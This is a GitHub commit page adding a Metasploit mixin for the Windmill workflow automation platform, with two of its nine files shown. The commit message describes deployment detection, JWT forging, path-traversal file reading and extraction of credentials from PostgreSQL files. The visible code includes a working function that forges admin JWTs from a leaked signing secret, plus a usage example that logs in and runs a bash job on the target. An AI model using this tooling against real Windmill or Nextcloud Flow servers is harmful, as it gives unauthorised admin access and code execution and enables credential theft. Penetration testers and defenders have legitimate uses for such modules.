Skip to content

Commit fdd8a2d

Browse files
committed
Feat: Add Msf::Exploit::Remote::HTTP::Windmill mixin
HTTP mixin for Windmill workflow automation platform. Handles deployment detection (standalone, Nextcloud Flow proxy, Flow direct), authentication via JWT forging, path traversal file read, workspace management, and PostgreSQL heap file credential extraction. Depends on Rex::Proto::PostgreSQL for the database file parsing.
1 parent 2bd70d9 commit fdd8a2d

File tree

9 files changed

+1099
-0
lines changed

9 files changed

+1099
-0
lines changed
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
# -*- coding: binary -*-
2+
# frozen_string_literal: true
3+
4+
module Msf
5+
class Exploit
6+
class Remote
7+
module HTTP
8+
#
9+
# Windmill API interaction mixin for Metasploit modules
10+
#
11+
# Provides primitives for interacting with Windmill workflow automation
12+
# platform, including support for Nextcloud Flow deployments via AppAPI.
13+
#
14+
# == Supported Deployment Types
15+
#
16+
# - *Standalone*: Direct Windmill installation
17+
# - *Nextcloud Flow (proxy)*: Windmill behind Nextcloud AppAPI proxy
18+
# - *Nextcloud Flow (direct)*: Windmill accessible alongside Nextcloud
19+
#
20+
# == Included Modules
21+
#
22+
# The following modules are automatically included:
23+
# - {Constants}: API endpoints and configuration values
24+
# - {HttpHelpers}: Low-level HTTP request helpers
25+
# - {Detection}: Deployment type auto-detection
26+
# - {Auth}: Authentication and JWT forging
27+
# - {Workspace}: Workspace management
28+
# - {FileRead}: Path traversal file read (CVE-2026-29059)
29+
# - {Jobs}: Job execution API
30+
# - {Postgres}: PostgreSQL data extraction
31+
# == Instance Variables
32+
#
33+
# The mixin maintains the following state:
34+
# - @windmill_api_prefix: Detected API path prefix
35+
# - @windmill_deployment_type: Deployment type constant
36+
# - @windmill_token: Authentication token
37+
# - @windmill_workspace: Current workspace ID
38+
# - @windmill_version: Detected Windmill version
39+
#
40+
# == Example Usage
41+
#
42+
# class MetasploitModule < Msf::Exploit::Remote
43+
# include Msf::Exploit::Remote::HTTP::Windmill
44+
#
45+
# def exploit
46+
# return unless windmill_detect_deployment
47+
# windmill_login(datastore['USERNAME'], datastore['PASSWORD'])
48+
# windmill_run_job('id', language: 'bash')
49+
# end
50+
# end
51+
#
52+
# @author Valentin Lobstein (Chocapikk)
53+
#
54+
# @see https://github.com/Chocapikk/Windfall
55+
# @see https://www.windmill.dev/
56+
#
57+
module Windmill
58+
include Msf::Exploit::Remote::HttpClient
59+
include Msf::Exploit::Remote::HTTP::Windmill::Constants
60+
include Msf::Exploit::Remote::HTTP::Windmill::HttpHelpers
61+
include Msf::Exploit::Remote::HTTP::Windmill::Detection
62+
include Msf::Exploit::Remote::HTTP::Windmill::Auth
63+
include Msf::Exploit::Remote::HTTP::Windmill::Workspace
64+
include Msf::Exploit::Remote::HTTP::Windmill::FileRead
65+
include Msf::Exploit::Remote::HTTP::Windmill::Jobs
66+
include Msf::Exploit::Remote::HTTP::Windmill::Postgres
67+
68+
# @!attribute [rw] windmill_api_prefix
69+
# @return [String, nil] Detected API path prefix (e.g., '/api')
70+
#
71+
# @!attribute [rw] windmill_deployment_type
72+
# @return [String, nil] Deployment type (see Constants::DEPLOYMENT_*)
73+
#
74+
# @!attribute [rw] windmill_token
75+
# @return [String, nil] Authentication token (Bearer or JWT)
76+
#
77+
# @!attribute [rw] windmill_workspace
78+
# @return [String, nil] Current workspace ID
79+
#
80+
# @!attribute [rw] windmill_version
81+
# @return [String, nil] Detected Windmill version string
82+
attr_accessor :windmill_api_prefix, :windmill_deployment_type, :windmill_token,
83+
:windmill_workspace, :windmill_version
84+
85+
#
86+
# Initialize the Windmill mixin
87+
#
88+
# Registers module options and initializes instance variables.
89+
#
90+
# @param info [Hash] Module information hash
91+
#
92+
def initialize(info = {})
93+
super
94+
95+
register_options([
96+
Msf::OptString.new('TARGETURI', [true, 'Base path to Windmill', '/'])
97+
], Msf::Exploit::Remote::HTTP::Windmill)
98+
99+
@windmill_api_prefix = nil
100+
@windmill_deployment_type = nil
101+
@windmill_token = nil
102+
@windmill_workspace = nil
103+
@windmill_version = nil
104+
end
105+
end
106+
end
107+
end
108+
end
109+
end
Lines changed: 173 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,173 @@
1+
# -*- coding: binary -*-
2+
# frozen_string_literal: true
3+
4+
module Msf
5+
class Exploit
6+
class Remote
7+
module HTTP
8+
module Windmill
9+
#
10+
# Authentication and JWT methods for Windmill API
11+
#
12+
# Provides authentication primitives including:
13+
# - Username/password login
14+
# - JWT token forging (requires leaked jwt_secret)
15+
# - Authentication verification
16+
#
17+
# @author Valentin Lobstein (Chocapikk)
18+
#
19+
module Auth
20+
include Msf::Exploit::Remote::HTTP::Windmill::Constants
21+
22+
#
23+
# Forge a Windmill JWT token with admin privileges
24+
#
25+
# Creates a valid JWT token using HMAC-SHA256 signing. The forged token
26+
# grants super_admin privileges for the specified workspace.
27+
#
28+
# @param jwt_secret [String] The JWT signing secret (typically 32 alphanumeric chars)
29+
# @param email [String] Email address for the forged identity
30+
# @param workspace [String] Workspace ID to include in token claims
31+
# @return [String] Forged JWT token prefixed with 'jwt_' (Windmill convention)
32+
#
33+
# @example Forge admin token
34+
# token = windmill_forge_jwt('abc123...', 'admin@example.com', 'main')
35+
# # => 'jwt_eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'
36+
#
37+
def windmill_forge_jwt(jwt_secret, email, workspace)
38+
header = { alg: 'HS256', typ: 'JWT' }
39+
payload = {
40+
email: email,
41+
username: email.split('@').first,
42+
is_admin: true,
43+
is_operator: false,
44+
groups: %w[all],
45+
folders: [],
46+
label: nil,
47+
workspace_id: workspace,
48+
exp: Time.now.to_i + (86_400 * 30) # 30 days
49+
}
50+
51+
unsigned = [header, payload].map { |h| windmill_base64url_encode(h.to_json) }.join('.')
52+
signature = OpenSSL::HMAC.digest('SHA256', jwt_secret, unsigned)
53+
54+
"jwt_#{unsigned}.#{windmill_base64url_encode(signature)}"
55+
end
56+
57+
#
58+
# Verify current authentication and retrieve user info
59+
#
60+
# Calls the /users/whoami endpoint to validate the current token
61+
# and retrieve user details.
62+
#
63+
# @return [Hash, nil] User info hash or nil on failure
64+
# @option return [String] :email User's email address
65+
# @option return [Boolean] :super_admin Whether user is super admin
66+
# @option return [Boolean] :is_admin Whether user is workspace admin
67+
#
68+
# @example Check authentication
69+
# if (info = windmill_verify_auth)
70+
# print_good("Logged in as #{info[:email]}")
71+
# end
72+
#
73+
def windmill_verify_auth
74+
res = windmill_get(windmill_api_path(API_WHOAMI))
75+
return unless res&.code == 200
76+
77+
JSON.parse(res.body).then do |data|
78+
{ email: data['email'], super_admin: data['super_admin'], is_admin: data['is_admin'] }
79+
end
80+
rescue JSON::ParserError
81+
nil
82+
end
83+
84+
#
85+
# Authenticate to Windmill with username and password
86+
#
87+
# Performs email/password authentication and stores the resulting
88+
# token in @windmill_token for subsequent requests.
89+
#
90+
# @param username [String] Email address or username
91+
# @param password [String] Password
92+
# @return [String, nil] Authentication token on success, nil on failure
93+
#
94+
# @example Login with credentials
95+
# if windmill_login('user@example.com', 'password123')
96+
# print_good('Authentication successful')
97+
# end
98+
#
99+
def windmill_login(username, password)
100+
windmill_detect_deployment unless windmill_api_prefix
101+
102+
res = perform_login_request(username, password)
103+
return handle_rate_limit if res&.code == 429
104+
return unless res&.code == 200
105+
106+
extract_token(res)
107+
end
108+
109+
private
110+
111+
#
112+
# Perform the actual login HTTP request
113+
#
114+
# @param username [String] Email/username
115+
# @param password [String] Password
116+
# @return [Rex::Proto::Http::Response, nil] HTTP response
117+
#
118+
def perform_login_request(username, password)
119+
opts = {
120+
'ctype' => 'application/json',
121+
'data' => { email: username, password: password }.to_json,
122+
auth: false
123+
}
124+
125+
if windmill_is_proxy? && datastore['NC_USER'] && datastore['NC_PASS']
126+
opts['authorization'] = windmill_basic_auth(datastore['NC_USER'], datastore['NC_PASS'])
127+
end
128+
129+
windmill_post(windmill_api_path(API_AUTH_LOGIN), **opts)
130+
end
131+
132+
#
133+
# Handle rate limit response from Nextcloud
134+
#
135+
# @return [nil] Always returns nil
136+
#
137+
def handle_rate_limit
138+
print_error('Rate limited by Nextcloud. Please try again later.')
139+
nil
140+
end
141+
142+
#
143+
# Extract and store token from login response
144+
#
145+
# @param res [Rex::Proto::Http::Response] Login response
146+
# @return [String, nil] Token string or nil
147+
#
148+
def extract_token(res)
149+
token = res.body.strip.delete('"')
150+
return if token.empty?
151+
152+
@windmill_token = token
153+
extract_proxy_cookie(res) if windmill_is_proxy?
154+
token
155+
end
156+
157+
#
158+
# Extract token cookie from proxy response
159+
#
160+
# @param res [Rex::Proto::Http::Response] Response with cookies
161+
# @return [void]
162+
#
163+
def extract_proxy_cookie(res)
164+
return unless res.get_cookies =~ /token=([^;]+)/
165+
166+
@windmill_token_cookie = ::Regexp.last_match(1)
167+
end
168+
end
169+
end
170+
end
171+
end
172+
end
173+
end

0 commit comments

Comments
 (0)